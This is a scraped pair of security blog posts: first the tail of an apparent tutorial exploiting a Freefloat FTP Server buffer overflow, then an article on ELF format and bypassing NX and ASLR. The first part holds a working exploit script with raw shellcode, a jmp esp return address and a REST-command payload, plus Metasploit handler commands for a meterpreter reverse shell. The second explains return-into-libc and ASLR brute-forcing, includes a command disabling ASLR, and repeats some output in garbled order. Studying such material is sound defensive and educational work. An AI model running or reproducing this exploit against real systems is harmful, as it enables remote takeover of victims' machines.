    "\x92\xfa\x14\x20\xbd\x8d\x67\x12\x62\x26\xe0\x1e\xeb\xe0\xf7"
    "\x17\xfb\x12\x27\x9f\x6c\xed\xc8\xdf\xa5\x2a\x9c\x8f\xdd\x9b"
    "\x9d\x44\x1e\x23\x48\xf0\x14\xb3\xdf\x14\x9e\xc0\x48\x16\xe0"
    "\xc7\x33\x9f\x06\x97\x13\xcf\x96\x58\xc4\xaf\x46\x31\x0e\x20"
    "\xb8\x21\x31\xeb\xd1\xc8\xde\x45\x89\x64\x46\xcc\x41\x14\x87"
    "\xdb\x2f\x16\x03\xe9\xd0\xd9\xe4\x98\xc2\x0e\x93\x62\x1b\xcf"
    "\x36\x62\x71\xcb\x90\x35\xed\xd1\xc5\x71\xb2\x2a\x20\x02\xb5"
    "\xd5\xb5\x32\xcd\xe0\x23\x7a\xb9\x0c\xa4\x7a\x39\x5b\xae\x7a"
    "\x51\x3b\x8a\x29\x44\x44\x07\x5e\xd5\xd1\xa8\x36\x89\x72\xc1"
    "\xb4\xf4\xb5\x4e\x47\xd3\xc5\x89\xb7\xa1\xe1\x31\xdf\x59\xb2"
    "\xc1\x1f\x30\x32\x92\x77\xcf\x1d\x1d\xb7\x30\xb4\x76\xdf\xbb"
    "\x59\x34\x7e\xbb\x73\x98\xde\xbc\x70\x01\xd1\xc7\xf9\xb6\x12"
    "\x38\x10\xd3\x13\x38\x1c\xe5\x28\xee\x25\x93\x6f\x32\x12\xac"
    "\xda\x17\x33\x27\x24\x0b\x43\x62"
    )
    
    bufsize = 1000
    eip = "\xd7\x30\x9d\x7c" # 0x7c9d30d7 - jmp esp [SHELL32.dll] (Little endian)
    move_esp = "\x81\xc4\xc0\xfd\xff\xff" # add esp,-240h
    buf = 'A'*246 # EIP offset from findmsp
    buf += eip # EIP overwrite
    buf += move_esp
    buf += 'C'*8 # Add 8 additional bytes of padding to align the bytearray with ESP
    buf += shellcode
    buf += 'D'*(bufsize - len(buf))
    
    print "[+] Connecting..."
    
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((ip,port))
    s.recv(2000)
    s.send("USER test\r\n")
    s.recv(2000)
    s.send("PASS test\r\n")
    s.recv(2000)
    s.send("REST "+buf+"\r\n")
    s.close()
    
    print "[+] Done."
    
[/code]

Now we will start up Metasploit on our Kali linux machine with the following
command:

[code]

    msfconsole
    
[/code]

Once it loads we will configure a listener to wait for our reverse shell.
Execute the following commands in the Metasploit console:

[code]

    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 172.16.183.131
    set LPORT 443
    exploit
    
[/code]

You should see the output below:

<img src='img/Temp2_4560.png' width='781' height='444' alt='Metasploit -
exploit/multi/handler' />

Finally we ready to test our exploit. Launch Freefloat FTP Server once again,
and fire our final exploit. If all goes well, we should receive a Windows
command shell on our Metasploit listener.

<img src='img/Temp2_4559.png' width='781' height='160' alt='Metasploit -
Meterpreter shell' />

If it worked, congratulations\! You have just successfully exploited a buffer
overflow vulnerability and obtained and interactive shell on the target\!

Previous

## Comments

  

# The Art Of ELF: Analysises and Exploitations | FlUxIuS' Blog
**Created:**| _10/20/2011 11:34:05 AM_  
---|---  
**Updated:**| _10/20/2011 11:34:05 AM_  
**Author:**| __  
**Tags:**| _Exploit Linux elf_  
  

# The Art Of ELF: Analysises and Exploitations

Posted on October 20, 2011 by FlUxIuS

New systems make attackers life hard and common exploitation techniques get
harder to reproduce. The purpose of this article is to be very general on
mitigation techniques and to cover attacks on x32 as a reference to x64
architectures to stick with the new constraints of today.

Here, you will find the first step with is an ELF format file analysis. After
that we will speak about the protections and ways to bypass them. To finish,
we will introduce the x86\_64 that makes things more difficult for nowadays
exploitations.

Pre-requisites:

  * Basics in Linux, asm x86,  

  * a good understanding of buffer overflows, format string exploitations, heap overflows,
  * 0x00900dc0ff33,
  * Ubuntu 11.04 on x86\_64.
  * a default song…: Zeads dead – Paradise Circus \(Massive attack Remix\)

Here is the contents:

  * The ELF format

  * A standard
  * Where is it used?
  * ELF Layout

  * Dissecting the ELF

  * The “magic” field
  * Reversing ELF’s header
  * Sections
  * Relocations
  * Program Headers

  * Exploitations

  * Old is always better \(for attackers\)
  * Nonexecutable stack
  * Address Space Layout Randomization
  * Brute-force
  * Return-to-registers
  * Stack Canary
  * RELRO

  * The x86\_64 fact and current systems hardening
  * References & Acknowledgements

## The ELF format

### A standard

Replacing the COFF and “a.out” formats that Linux previously used, ELF
\(Executable and Linking Format\) increased flexibility. Indeed, when shared
libraries are difficult to create and dynamically loading a shared library is
cumbersome with “a.out” format, the ELF format has come with these two
benefits\[1\]:

  * It is much simpler to make shared libraries,
  * It make dynamic loading and has comes with other suggestions for dynamic loading have included super-fast MUDs \(Multi-User Domains also known as “Multi-User Dungeon”\), where extra code could be compiled and linked into the running executable without having to stop and restart the program.

This format has been selected by the Tool Interface Standards committee
\(TIS\) as a standard for portable object files for a variety of \(Unix-Like\)
operating systems.

### Where is it used?

Actually ELFs cover object files \(.o\), shared libraries \(.so\) and is also
used for loadable kernel modules. As follows in listing 1, you can see also
which systems\[4\] have adopted the ELF format:

<img src='img/Temp2_7966.png' width='613' height='329' alt='alt' />**Listing
1. Applications of ELF format**

### ELF Layout

An ELF as at least two headers: the ELF header \(Elf32\_Ehdr/Elf64\_Ehdr
struct\) and the program header \(Elf32\_Phdr/struct Elf64\_Phdr
struct\)\[5\]. But there is also a header which is called the “section header”
\(Elf32\_Shdr/struct Elf64\_Shdr struct\) and which describes section like:
.text, .data, .bss and so on \(we will describe them later\).

<img src='img/Temp2_7964.png' width='498' height='342' alt='alt' />**Figure 1.
ELF Layout – execution view linking view**  
**\(source: ELF Format specifications\[2\]\)**

As you can see in figure 1, there is two views. Indeed, the linking view is
partitioned by sections and is used when program or library is linked. The
sections contain some object files informations like: datas, instructions,
relocation informations, symbols, debugging informations, and so on.  
From the other part, the execution view, which is partitioned by segments, is
used during a program execution. The program header as shown in the left,
contains informations for the kernel on how to start the program, will walk
through segments and load them into memory \(mmap\).

## Dissecting the ELF

### The “magic” field

In Linux forensic, it is common to use the “file” command to the type of a
particular file, as follows:

fluxiux@nyannyan:~$ file /bin/ls  
/bin/ls: ELF 64-bit LSB executable, x86-64, version 1 \(SYSV\), dynamically
linked \(uses shared libs\), for GNU/Linux 2.6.15, stripped

Now lets focus on the “ELF” string. As you had probably noticed using
“hexdump” on any ELF file \(like /bin/ls for example\), the file starts with
0x7f then there are three next bytes for the encoded string “ELF”:

fluxiux@nyannyan:~$ hd -n 16 /bin/ls  
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|

The first 16 bytes represent the elf “magic” field, which is a way to identify
an ELF file. But if bytes 1, 2 and 3 represent the encoded string “ELF”, what
represent bytes 4, 5, 6, 7, 8, 9?  
Just have a look at “elf.h” source code:

\#define EI\_CLASS 4 /\* File class byte index \*/  
\#define ELFCLASSNONE 0 /\* Invalid class \*/  
\#define ELFCLASS32 1 /\* 32-bit objects \*/  
\#define ELFCLASS64 2 /\* 64-bit objects \*/  
\#define ELFCLASSNUM 3  
  
\#define EI\_DATA 5 /\* Data encoding byte index \*/  
\#define ELFDATANONE 0 /\* Invalid data encoding \*/  
\#define ELFDATA2LSB 1 /\* 2's complement, little endian \*/  
\#define ELFDATA2MSB 2 /\* 2's complement, big endian \*/  
\#define ELFDATANUM 3  
  
\#define EI\_VERSION 6 /\* File version byte index \*/  
/\* Value must be EV\_CURRENT \*/  
  
\#define EI\_OSABI 7 /\* OS ABI identification \*/  
\#define ELFOSABI\_NONE 0 /\* UNIX System V ABI \*/  
\#define ELFOSABI\_SYSV 0 /\* Alias. \*/  
\#define ELFOSABI\_HPUX 1 /\* HP-UX \*/  
\#define ELFOSABI\_NETBSD 2 /\* NetBSD. \*/  
\#define ELFOSABI\_LINUX 3 /\* Linux. \*/  
\#define ELFOSABI\_SOLARIS 6 /\* Sun Solaris. \*/  
\#define ELFOSABI\_AIX 7 /\* IBM AIX. \*/  
\#define ELFOSABI\_IRIX 8 /\* SGI Irix. \*/  
\#define ELFOSABI\_FREEBSD 9 /\* FreeBSD. \*/  
\#define ELFOSABI\_TRU64 10 /\* Compaq TRU64 UNIX. \*/  
\#define ELFOSABI\_MODESTO 11 /\* Novell Modesto. \*/  
\#define ELFOSABI\_OPENBSD 12 /\* OpenBSD. \*/  
\#define ELFOSABI\_ARM\_AEABI 64 /\* ARM EABI \*/  
\#define ELFOSABI\_ARM 97 /\* ARM \*/  
\#define ELFOSABI\_STANDALONE 255 /\* Standalone \(embedded\) application \*/  
  
\#define EI\_ABIVERSION 8 /\* ABI version \*/  
  
\#define EI\_PAD 9 /\* Byte index of padding bytes \*/

We can affirmatively say, that our file is an ELF of class 64, encoded in
little endian with a UNIX System V ABI standard and has 0 padding bytes. By
the way, if you did not expected yet, we have compared to the structure we
have observed here the “e\_ident” of “Elf64\_Ehdr” structure.

### Reversing ELF’s header

To begin the complete dissection, let’s just start making a simple binary file
as follows:

\#include <stdio.h>  
main\(\)  
\{  
printf\("huhu la charrue"\);  
\}

And produce an ELF before linking it:

gcc toto.c -c

We will use now one of the most used tool as “objdump” to analysis ELF files
which is readelf from binutils to display every fields. That will simplify our
analysis but if you are interested for dissecting ELF files yourself, you can
look for libelf and we will also talk about some interesting libraries in
Python to do it much more quickly.

Now, we observe the ELF header:

fluxiux@nyannyan:~$ readelf -h toto  
ELF Header:  
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00  
Class: ELF64  
Data: 2's complement, little endian  
Version: 1 \(current\)  
OS/ABI: UNIX - System V  
ABI Version: 0  
Type: REL \(Relocatable file\)  
Machine: Advanced Micro Devices X86-64  
Version: 0x1  
Entry point address: 0x0  
Start of program headers: 0 \(bytes into file\)  
Start of section headers: 312 \(bytes into file\)  
Flags: 0x0  
Size of this header: 64 \(bytes\)  
Size of program headers: 0 \(bytes\)  
Number of program headers: 0  
Size of section headers: 64 \(bytes\)  
Number of section headers: 13  
Section header string table index: 10

The result seems to be very implicit, but now just let’s try to identify these
field using our lovely hexdump tool \(in “warrior forensic style\!” or not\):

fluxiux@nyannyan:~$ hd -n 64 toto  
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|  
00000010 01 00 3e 00 01 00 00 00 00 00 00 00 00 00 00 00 |..>.............|  
00000020 00 00 00 00 00 00 00 00 38 01 00 00 00 00 00 00 |........8.......|  
00000030 00 00 00 00 40 00 00 00 00 00 40 00 0d 00 0a 00 |....@.....@.....|  
00000040

We already know the first line, but what can say about the three others? As
you can see, in the second line, the first two bytes represent the “e\_type”.
Indeed, if you look at “elf.h” file, you could observe that “01 00” in little-
Indian, means: “Relocatable file”.

Now look at the two next bytes. We have “3e 00” that is equivalent to 62 in
decimal \(3\*16¹ + c = 62\), which defines the AMD x86-64 architecture:

\#define EM\_X86\_64 62 /\* AMD x86-64 architecture \*/

After we have the “e\_version” field with “01 00” as a value for “Current
version”:

/\* Legal values for e\_version \(version\). \*/  
  
\#define EV\_NONE 0 /\* Invalid ELF version \*/  
\#define EV\_CURRENT 1 /\* Current version \*/  
\#define EV\_NUM 2

Bytes 24 to 26 indicate the entry point address \(which is 0×0 while it is not
linked\) . And we finish with two more most important think that we will talk
about in this article :

  * Program Headers with 6 headers, starting at byte 64 \(byte 32 and 33 in hexdump\),  

  * section headers with 29 headers, starting at byte \(byte 40 – 43 in hexdump\).

For the rest, we will use readelf and I will let you finish the header part by
yourself.

### Sections

Let’s just see “toto.o” sections with the following command:

fluxiux@nyanyan:~$ readelf -S toto.o  
There are 13 section headers, starting at offset 0x138:  
  
Section Headers:  
\[Nr\] Name Type Address Offset  
Size EntSize Flags Link Info Align  
\[ 0\] NULL 0000000000000000 00000000  
0000000000000000 0000000000000000 0 0 0  
\[ 1\] .text PROGBITS 0000000000000000 00000040  
0000000000000018 0000000000000000 AX 0 0 4  
\[ 2\] .rela.text RELA 0000000000000000 00000598  
0000000000000030 0000000000000018 11 1 8  
\[ 3\] .data PROGBITS 0000000000000000 00000058  
0000000000000000 0000000000000000 WA 0 0 4  
\[ 4\] .bss NOBITS 0000000000000000 00000058  
0000000000000000 0000000000000000 WA 0 0 4  
\[ 5\] .rodata PROGBITS 0000000000000000 00000058  
0000000000000010 0000000000000000 A 0 0 1  
\[ 6\] .comment PROGBITS 0000000000000000 00000068  
000000000000002b 0000000000000001 MS 0 0 1  
\[ 7\] .note.GNU-stack PROGBITS 0000000000000000 00000093  
0000000000000000 0000000000000000 0 0 1  
\[ 8\] .eh\_frame PROGBITS 0000000000000000 00000098  
0000000000000038 0000000000000000 A 0 0 8  
\[ 9\] .rela.eh\_frame RELA 0000000000000000 000005c8  
0000000000000018 0000000000000018 11 8 8  
\[10\] .shstrtab STRTAB 0000000000000000 000000d0  
0000000000000061 0000000000000000 0 0 1  
\[11\] .symtab SYMTAB 0000000000000000 00000478  
0000000000000108 0000000000000018 12 9 8  
\[12\] .strtab STRTAB 0000000000000000 00000580  
0000000000000014 0000000000000000 0 0 1  
Key to Flags:  
W \(write\), A \(alloc\), X \(execute\), M \(merge\), S \(strings\), l
\(large\)  
I \(info\), L \(link order\), G \(group\), T \(TLS\), E \(exclude\), x
\(unknown\)  
O \(extra OS processing required\) o \(OS specific\), p \(processor specific\)

As you can see, there is a lot of sections which are part of the ELF64\_Shdr:

  * Code sections \(.text\),
  * data section \(.data, .bss, .rodata\),
  * the .comment which is used to store extra informations,
  * relocation tables \(.rela.\*\),
  * symbol tables \(.symtab\),
  * section String Tables \(.shstrtab\) which stores the name of each section,
  * string tables \(.strtab\).

The address column normally shows where sections should be loaded into virtual
memory, but this was not filled in for each section. The reason is that we did
not linked it yet, so we will do that:

fluxiux@nyannyan:~$ gcc toto.o -o toto  
fluxiux@nyannyan:~$ readelf -S toto  
There are 30 section headers, starting at offset 0x1178:  
Section Headers:  
\[Nr\] Name Type Address Offset  
Size EntSize Flags Link Info Align  
\[ 0\] NULL 0000000000000000 00000000  
0000000000000000 0000000000000000 0 0 0  
\[ 1\] .interp PROGBITS 0000000000400238 00000238  
000000000000001c 0000000000000000 A 0 0 1  
\[ 2\] .note.ABI-tag NOTE 0000000000400254 00000254  
0000000000000020 0000000000000000 A 0 0 4  
\[ 3\] .note.gnu.build-i NOTE 0000000000400274 00000274  
0000000000000024 0000000000000000 A 0 0 4  
\[ 4\] .gnu.hash GNU\_HASH 0000000000400298 00000298  
000000000000001c 0000000000000000 A 5 0 8  
\[ 5\] .dynsym DYNSYM 00000000004002b8 000002b8  
0000000000000060 0000000000000018 A 6 1 8  
\[ 6\] .dynstr STRTAB 0000000000400318 00000318  
000000000000003f 0000000000000000 A 0 0 1  
\[ 7\] .gnu.version VERSYM 0000000000400358 00000358  
0000000000000008 0000000000000002 A 5 0 2  
\[ 8\] .gnu.version\_r VERNEED 0000000000400360 00000360  
0000000000000020 0000000000000000 A 6 1 8  
\[ 9\] .rela.dyn RELA 0000000000400380 00000380  
0000000000000018 0000000000000018 A 5 0 8  
\[10\] .rela.plt RELA 0000000000400398 00000398  
0000000000000030 0000000000000018 A 5 12 8  
\[11\] .init PROGBITS 00000000004003c8 000003c8  
0000000000000018 0000000000000000 AX 0 0 4  
\[12\] .plt PROGBITS 00000000004003e0 000003e0  
0000000000000030 0000000000000010 AX 0 0 4  
\[13\] .text PROGBITS 0000000000400410 00000410  
00000000000001d8 0000000000000000 AX 0 0 16  
\[14\] .fini PROGBITS 00000000004005e8 000005e8  
000000000000000e 0000000000000000 AX 0 0 4  
\[15\] .rodata PROGBITS 00000000004005f8 000005f8  
0000000000000014 0000000000000000 A 0 0 4  
\[16\] .eh\_frame\_hdr PROGBITS 000000000040060c 0000060c  
0000000000000024 0000000000000000 A 0 0 4  
\[17\] .eh\_frame PROGBITS 0000000000400630 00000630  
000000000000007c 0000000000000000 A 0 0 8  
\[18\] .ctors PROGBITS 0000000000600e28 00000e28  
0000000000000010 0000000000000000 WA 0 0 8  
\[19\] .dtors PROGBITS 0000000000600e38 00000e38  
0000000000000010 0000000000000000 WA 0 0 8  
\[20\] .jcr PROGBITS 0000000000600e48 00000e48  
0000000000000008 0000000000000000 WA 0 0 8  
\[21\] .dynamic DYNAMIC 0000000000600e50 00000e50  
0000000000000190 0000000000000010 WA 6 0 8  
\[22\] .got PROGBITS 0000000000600fe0 00000fe0  
0000000000000008 0000000000000008 WA 0 0 8  
\[23\] .got.plt PROGBITS 0000000000600fe8 00000fe8  
0000000000000028 0000000000000008 WA 0 0 8  
\[24\] .data PROGBITS 0000000000601010 00001010  
0000000000000010 0000000000000000 WA 0 0 8  
\[25\] .bss NOBITS 0000000000601020 00001020  
0000000000000010 0000000000000000 WA 0 0 8  
\[26\] .comment PROGBITS 0000000000000000 00001020  
0000000000000054 0000000000000001 MS 0 0 1  
\[27\] .shstrtab STRTAB 0000000000000000 00001074  
00000000000000fe 0000000000000000 0 0 1  
\[28\] .symtab SYMTAB 0000000000000000 000018f8  
0000000000000600 0000000000000018 29 46 8  
\[29\] .strtab STRTAB 0000000000000000 00001ef8  
00000000000001f2 0000000000000000 0 0 1

Wow\! Some new section appeared:

  * .interp which holds pathname of the program interpreter,  

  * code sections \(.plt, .init, .fini\),
  * table of imported/exported symbols \(.dynsym\),
  * dynamic names table \(.dynstr\),
  * dynamic hash table \(.hash\),
  * new relocation tables \(.rela.\*\),
  * constructor and Destructor tables \(.ctors, .dtors\),
  * section reserved for dynamic binaries \(.got, .dynamic, .plt\).

After the address column, you have the offset within the file of the section,
then you have the size in byte of each section, the section header size in
byte, the required alignment, the Flags \(Read, Write, Execute\), and so on.

In this article, we will discover some important sections to target for any
attack.

### Relocations

The relocation is made to modify the memory image of mapped segments to make
them executable. As you saw before, there are some “.rela.\*” sections which
are used to show where to patch the memory and how. Let’s look the different
relocations using our favorite tool “readelf”:

fluxiux@nyannyan:~$ readelf -r toto  
  
Relocation section '.rela.dyn' at offset 0x380 contains 1 entries:  
Offset Info Type Sym. Value Sym. Name + Addend  
000000600fe0 000200000006 R\_X86\_64\_GLOB\_DAT 0000000000000000
\_\_gmon\_start\_\_ + 0  
  
Relocation section '.rela.plt' at offset 0x398 contains 2 entries:  
Offset Info Type Sym. Value Sym. Name + Addend  
000000601000 000100000007 R\_X86\_64\_JUMP\_SLO 0000000000000000 printf + 0  
000000601008 000300000007 R\_X86\_64\_JUMP\_SLO 0000000000000000
\_\_libc\_start\_main + 0

For example, it means for “printf” we need to patch the offset 0x000000600fe0
from the beginning of the .plt section.

For more informations, you have also a description of relocation types in
“elf.h”:

/\* x86-64 relocation types, taken from asm-x86\_64/elf.h \*/  
\#define R\_X86\_64\_NONE 0 /\* No reloc \*/  
\[...\]  
\#define R\_X86\_64\_GLOB\_DAT 6 /\* Create GOT entry \*/  
\#define R\_X86\_64\_JUMP\_SLOT 7 /\* Create PLT entry \*/  
\[...\]

### Program Headers

The section header table is not loaded into memory, because the kernel nor the
dynamic loader will be able to use that table. To load a file into memory,
program headers are used to provide informatios that are required:

fluxiux@nyanyan:~$ readelf -W -l toto  
  
Elf file type is EXEC \(Executable file\)  
Entry point 0x400410  
There are 9 program headers, starting at offset 64  
  
Program Headers:  
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align  
PHDR 0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R E 0x8  
INTERP 0x000238 0x0000000000400238 0x0000000000400238 0x00001c 0x00001c R 0x1  
\[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2\]  
LOAD 0x000000 0x0000000000400000 0x0000000000400000 0x0006ac 0x0006ac R E
0x200000  
LOAD 0x000e28 0x0000000000600e28 0x0000000000600e28 0x0001f8 0x000208 RW
0x200000  
DYNAMIC 0x000e50 0x0000000000600e50 0x0000000000600e50 0x000190 0x000190 RW
0x8  
NOTE 0x000254 0x0000000000400254 0x0000000000400254 0x000044 0x000044 R 0x4  
GNU\_EH\_FRAME 0x00060c 0x000000000040060c 0x000000000040060c 0x000024
0x000024 R 0x4  
GNU\_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW
0x8  
GNU\_RELRO 0x000e28 0x0000000000600e28 0x0000000000600e28 0x0001d8 0x0001d8 R
0x1  
  
Section to Segment mapping:  
Segment Sections...  
00  
01 .interp  
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr
.gnu.version .gnu.version\_r .rela.dyn .rela.plt .init .plt .text .fini
.rodata .eh\_frame\_hdr .eh\_frame  
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss  
04 .dynamic  
05 .note.ABI-tag .note.gnu.build-id  
06 .eh\_frame\_hdr  
07  
08 .ctors .dtors .jcr .dynamic .got

As you can see, each program header corresponds to one segment where you can
find sections into it. But how does it work?

In the beginning, when the kernel sees the INTERP segment, it loads first the
LOAD segments to the specified virtual addresses, then load segments from
program interpreter \(/lib64/ld-linux-x86-64.so.2\) and jumps to interpreter’s
entry point. After that, the loader gets the control and loads libraries
specified in LD\_PRELOAD and also DYNAMIC segments of the executable that are
needed:

fluxiux@nyannyan:~$ readelf -d toto  
  
Dynamic section at offset 0xe50 contains 20 entries:  
Tag Type Name/Value  
0x0000000000000001 \(NEEDED\) Shared library: \[libc.so.6\]

After relocations, the loader invokes all libraries INIT function and then
jumps to executable’s entry point.

In static, there is less thinks to say because the kernel only loads LOAD
segments to the virtual addresses and then jumps to the entry points \(easy
eh?\).

For some more details \(I think\), you can see an old but very good article
published in Linux Journal \#13 about ELF dissection by Eric Youngdale\[6\].

## Exploitation

### Old is always better \(for attackers\)

Once upon a the time, you where at home and waiting for the rain to stop. As
always you “googled” for some interesting informations \(of course\!\) and you
found a kind of bible: Smashing the stack for fun and Profit\[7\].  
Identifying the stack address, putting your shellcode at the beginning, adding
some padding and rewriting the EIP, you could see that we can execute anything
we want while exploiting a stack overflow. But times have changed, and you’re
now confronted to canaris, ASLR \(Address Space Layout Randomization\), no
executable stack, RELRO \(read-only relocations\), PIE support, binary-to-text
encoding, and so on.

### Nonexecutable stack

To make the stack nonexecutable, we use the bit NX \(No eXecute for AMD\) or
bit XD \(eXecute Disable for Intel\). In figure 2, you could see that it
matches with the most significant bit of a 64-bit Page Table Entry:

<img src='img/Temp2_7965.png' width='792' height='315' alt='alt' />

Figure 2 – 64-bit Page Table Entry  
\(Source : A hardware-enforced BOF protection \)

So trying to exploit a stack based overflow, you should be surprised by the
fact your shellcode doesn’t produce what you expected, and that’s the power of
the bit NX \(NX = 0 → Execute, NX = 1 → No eXecute\).

Using “readlef -l

” you can see if the stack is executable or not :

GNU\_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000  
0x0000000000000000 0x0000000000000000 RW 8

As you can see, the only flags we got is the Read and Write ones. You can
disable the eXecute flag using “execstack -s \[binaryfile\]” and see the
difference \(RWE\).

To bypass it, we can use a method called “Return-into-libc”. Endeed, we know
that any program that includes libc will have access to its shared functions
\(such as printf, exit, and so on\), and we can execute “system\(“/bin/sh”\)”
to get a shell.

First, we fill the vulnerable buffer with some junk data up to EIP
\(“AAAAAAAAAHH…”\! is great\). After that, we have to find “system\(\)”
function, but if we want to exit the program properly, the “exit\(\)” will be
also needed \(using gdb\):

\(gdb\) r main  
Starting program: /home/fluxius/toto main  
huhu la charrue  
Program exited with code 017.  
\(gdb\) p system  
$1 = \{<text variable, no debug info>\} 0x7ffff6b8a134 <system>  
\(gdb\) p exit  
$2 = \{<text variable, no debug info>\} 0x7ffff6b81890 <exit>

Then, we overwrite the return address with system\(\) function’s address and
follow it with the exit\(\) function’s address. To finish, we put the address
of “/bin/sh” \(that you can retrieve from a memcmp\(\) or an environment
variable\).

Inject = \[junk\]\[system\(\)\]\[exit\(\)\]\[”/bin/sh”\]

_Note_ : NX bit is only available in Physical Address Extension \(PAE\), but
can be emulated by PaX or ExecShield.

Moreover, we will see after on x86\_64 platforms that “return-into-libc”
doesn’t work because of the ABI specifications\[8\], and that’s probably a
problem you’ve already encountered.

### Address Space Layout Randomization

To avoid attackers to execute a dangerous shellcode, people has created a
concept named “ASLR” \(Address Space Layout Randomization\). Indeed, it is a
technique to arrange the position of the stack, heap, text, vdso, shared
libraries and the base address of the executable \(when builded with Position-
independent executable support\). So if you try to execute any shellcode at a
saved position, you’ll observe a little fail, because the shellcode isn’t
executed \(or you are very lucky\) and you get the classic error for
segmentation faults as we did not ended properly.

When performing a stack overflow for example, you could disable ASLR changing
the current level to “0”:

\# echo 0 > /proc/sys/kernel/randomize\_va\_space

But it’s not quite fun, is it? So, attackers have found some ways to bypass
this kind of technique. Indeed, in older kernels, they saw the ESP points to
the stack, and of course, the buffer is on the stack too. A technique using
linux-gate’s instructions, that were static before the kernel 2.6.18, was used
to retrieve the address of any interesting pattern “\xff\xe4” \(“jump esp” on
x86\) in memory. Other techniques to bypass ASLR exist like Brute-force.

#### Brute-force

Thinking about exec\(\) family functions, we can use “execl” to replace the
current process image with a new process image. Let’s make a simple code to
observe the randomization:

main\(\)  
\{  
char buffer\[100\];  
printf\("Buffer address: %p\n", &buffer\);  
\}

If ASLR is enabled, you should see something like this:

fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7fff5e149710  
fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7fff71f6f0b0  
fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7fff763299c0

We see that 7 bytes change for each execution, and we have to be very lucky to
point in our shellcode, if we try the brute-force way. So we will use “execl”
now to see any weakness when the memory layout is randomized for the process:

main\(\)  
\{  
int stack;  
printf\("Stack address: %p\n", &stack\);  
execl\("./buffer\_addr", "buffer\_addr", NULL\);  
\}

Compare the memory layouts with different runs of “buffer\_addr”:

fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7fffc5cfa180  
fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7fff1964d1f0  
fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7fffba20bd30  
fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7fffc8505ed0  
fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7ffff39cbc10  
fluxiux@handgrep:~/aslr$ ./buffer\_addr  
Buffer address: 0x7fff6eb3aa90  
fluxiux@handgrep:~$ gdb -q --batch -ex "p 0x7fffc5cfa180 - 0x7fff1964d1f0"  
$1 = 2892681104  
fluxiux@handgrep:~$ gdb -q --batch -ex "p 0x7fffc8505ed0 - 0x7fffba20bd30"  
$1 = 238002592  
fluxiux@handgrep:~$ gdb -q --batch -ex "p 0x7ffff39cbc10 - 0x7fff6eb3aa90"  
$1 = 2229866880

And now with “execl” function:

fluxiux@handgrep:~/aslr$ ./weakaslr  
Stack address: 0x7fff526d959c  
Buffer address: 0x7fff2e95efd0  
fluxiux@handgrep:~/aslr$ gdb -q --batch -ex "p 0x7fffaffcde50 -
0x7fff54800abc"  
$1 = 1534907284  
fluxiux@handgrep:~/aslr$ ./weakaslr  
Stack address: 0x7fffed12acfc  
Buffer address: 0x7fffa3a4f8f0  
fluxiux@handgrep:~$ gdb -q --batch -ex "p 0x7fffdaf7d5fc - 0x7fff08361da0"  
$1 = 3535911004 If we dig a little bit more, we can reduce the domain of
probabilistic addresses using “/proc/self/maps” files \(local bypass\), as
shown below:  
fluxiux@handgrep:~/aslr$ ./weakaslr  
Stack address: 0x7ffffbe8326c  
Buffer address: 0x7fff792120c0  
fluxiux@handgrep:~$ gdb -q --batch -ex "p 0x7ffffbe8326c - 0x7fff792120c0"  
$1 = 2194084268  
fluxiux@handgrep:~/aslr$ ./weakaslr  
Stack address: 0x7fffed12acfc  
Buffer address: 0x7fffa3a4f8f0  
fluxiux@handgrep:~$ gdb -q --batch -ex "p 0x7fffed12acfc - 0x7fffa3a4f8f0"  
$1 = 1231926284

Using this method, we could fill the buffer with return address, add a large
NOP sled after the return address + the shellcode and guess any correct
offset, to point to it. As you can see, the degree of randomization is not the
same, but you can play with that. Of course, this attack is more effective on
32-bits and on older kernel versions\[9\].

If we dig a little bit more, we can reduce the domain of probabilistic
addresses using “/proc/self/maps” files \(local bypass\), as shown below:

...  
00fa8000-00fc9000 rw-p 00000000 00:00 0 \[heap\]  
7ffd77890000-7ffd77a1a000 r-xp 00000000 08:05 396967 /lib/x86\_64-linux-
gnu/libc-2.13.so  
7ffd77a1a000-7ffd77c19000 ---p 0018a000 08:05 396967 /lib/x86\_64-linux-
gnu/libc-2.13.so  
7ffd77c19000-7ffd77c1d000 r--p 00189000 08:05 396967 /lib/x86\_64-linux-
gnu/libc-2.13.so  
7ffd77c1d000-7ffd77c1e000 rw-p 0018d000 08:05 396967 /lib/x86\_64-linux-
gnu/libc-2.13.so  
7ffd77c1e000-7ffd77c24000 rw-p 00000000 00:00 0  
7ffd77c24000-7ffd77c26000 r-xp 00000000 08:05 397045 /lib/x86\_64-linux-
gnu/libutil-2.13.so  
7ffd77c26000-7ffd77e25000 ---p 00002000 08:05 397045 /lib/x86\_64-linux-
gnu/libutil-2.13.so  
7ffd77e25000-7ffd77e26000 r--p 00001000 08:05 397045 /lib/x86\_64-linux-
gnu/libutil-2.13.so  
7ffd77e26000-7ffd77e27000 rw-p 00002000 08:05 397045 /lib/x86\_64-linux-
gnu/libutil-2.13.so  
7ffd77e27000-7ffd77e48000 r-xp 00000000 08:05 396954 /lib/x86\_64-linux-
gnu/ld-2.13.so  
7ffd7801d000-7ffd78020000 rw-p 00000000 00:00 0  
7ffd78043000-7ffd78044000 rw-p 00000000 00:00 0  
7ffd78045000-7ffd78047000 rw-p 00000000 00:00 0  
